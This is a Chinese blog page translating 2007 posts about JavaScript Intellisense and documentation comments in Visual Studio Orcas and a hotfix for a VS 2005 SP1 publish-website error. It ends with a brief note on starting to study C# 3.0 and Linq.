【原文发表日期】 Tuesday, April 24, 2007 12:24 AM

2月份时,我写了一个博客贴子,题目叫我的“Orcas初览”讲座。它对随Visual Studio Orcas而来的一些很酷的web开发特性提供了一个很好的总结。如果你还没机会读的话,我建议你在这里看一下。

其中一个殷切期盼的特性是Visual Studio Orcas对客户端Javascript Intellisense的支持(这个特性在免费的Visual Web Developer Express版本中也工作)。

如果你以前曾为手工键入Javascript感到烦恼的话,你肯定会为Orcas的这个特性感到惊喜。Visual Studio现在.aspx 文件,.htm 文件以及外部的.js 文件中提供完整的Javascript Intellisense完成。它对普通的Javascript代码提供了Intellisense ,还对新的ASP.NET AJAX 客户端Javascript框架和用它编写的Javascript代码提供了丰富的支持。

你可以在这里VS Web 工具团队撰写的这2篇综述性贴子里读到关于一些Visual Studio Orcas Javascript 特性的细节:

就象Wally 最近在博客里提到的,VS Orcas中的Javascript Intellisense支持之酷处在于,它是设计来开箱即可用(just work out of the box)的。这意味着,你不需要对你的Javascript文件运行什么工具来建立Intellisense提示,你也不用以某种方式来修饰你的Javascript。如果你在外部Javascript文件中建有一个标准的Javascript函数或原型类型,那么你在Visual Studio中使用它时,就应该自动得到Intellisense完成。

可选用的Javascript文档注释

Visual Studio还允许你可选择地在你的代码/库中添加文档注释,来进一步帮助Intellisense 引擎,以及允许开发人员提供文档注释,VS Intellisense引擎可以收集这些注释,用作摘要注释和类型描述/验证检查。

譬如,如果你把这个XML摘要注释加到你的代码里去的话:

Visual Studio 会自动显示摘要的细节,以及在健入参数值时提供行内的帮助:

Javascript文档注释的格式

ASP.NET团队的Bertrand Le Roy最近写了一篇精彩的博客贴子,详细讨论了ASP.NET AJAX 和Visual Studio Orcas两者都使用的文档摘要注释的格式。此外,该贴子还详细讨论了:

  • 如何给类,方法,参数添加摘要细节
  • 如何本地化Javascript中的文档
  • 如何表示一个外部Javascript 文件需要或引用另一个外部Javascript 文件,然后在使用前一个外部JavaScript文件时,让它的Javascript Intellisense认为另外(文件中)的方法和类型在当前的范围内(in-scope)(这在随便什么时候使用任意AJAX框架库时都会非常有用)

我强烈推荐你去这里读一下他的博客贴子。

ASP.NET AJAX 控件工具包现在也拥有了内置的MSBuild任务,你可以将其加到你的wen项目里,该任务可以在项目以“发布(release)”模式编译时自动从你的JavaScript 文件中除去这些文档注释(以及空格和其他不需要的内容)。这提供了非常有用的功能,它允许你在开发时维护调试/描述性的Javascript版本,然后允许你做个切换就可生成为运行时高效下载而优化的版本。

希望本文对你有所帮助,

Scott

VS发布网站时出现&ldquo;索引超出了数组界限&rdquo;问题的公开Hotfix补丁

【原文地址】Public Hotfix Patch for VS "Index was outside the bounds of the array" Publish Website Issue
【原文发表日期】 Monday, April 23, 2007 11:31 PM

2个星期前,我在博客里提到我们发布了一个修复一些ASP.NET 2.0编译问题的公开hotfix补丁。你可以在我这里的贴子里了解该补丁的情况。

在那个贴子的评论部分,几个人问到了他们在Visual Studio SP1中遇上的一个问题,是在使用“发布网站” 命令发布一个在内置的ASP.NET 开发 Web 服务器中配置"/"为其虚拟路径(这是个我曾在以前的技巧/诀窍贴子讨论过的非常酷的技术)的web项目时出现的。

具体地说,安装了VS 2005 SP1的人报告说,在发布时遇上了“Index was outside the bounds of the array(索引超出了数组界限)”的出错信息:

很不幸,这是个VS 2005 SP1中出现的回归缺陷(regression bug,【译注】regression bug是指以前正常工作的软件功能在程序改动后不再工作了)。

好消息是,我们刚刚发布了一个针对这问题的公开的hotfix,你可以在这里直接下载。Omar Khan 在这儿MSDN 上的WebDevTools博客上贴出了有关这个问题和补丁的更详细的情况(我建议你订阅这个博客)。

重要注意事项:有不少人有时问我,他们是否应该主动安装QFE HotFixes(在他们遇上问题之前)。我总是建议别这么做,因为QFE hotfixes只经过有针对性的测试以确认解决了一个特定的问题,但并不经过整个产品的end to end sign-off (从头至尾,每一步都有签名同意,没问题才放行)。因此,我建议你只在你遇上上面这些针对性的问题时,你才施用它。

如果你在安装补丁时有什么问题,或在安装后你还看到同样问题的话,你需要联系微软产品支持,他们可以帮你进一步调试问题。微软产品支持的电话是免费的,假如是针对产品的缺陷的话(无论是QFE HotFix请求还是你遇上的产品缺陷)。你可以在这个网页上找到如何联系微软产品支持的细节(该网页允许你按国家来查询本地电话号码)。

希望本文对你有所帮助,

Scott

C#3.0, Linq

终于算是完成了从C# 1.0到C# 3.0的大跃进,开始看一些Linq方面的东西。当然最感兴趣的是C#底层是如何实现Linq的(Extension Methods, Lambda Expression, Expression Tree, yadayada...),做了一些小实验:

More Posts Next page »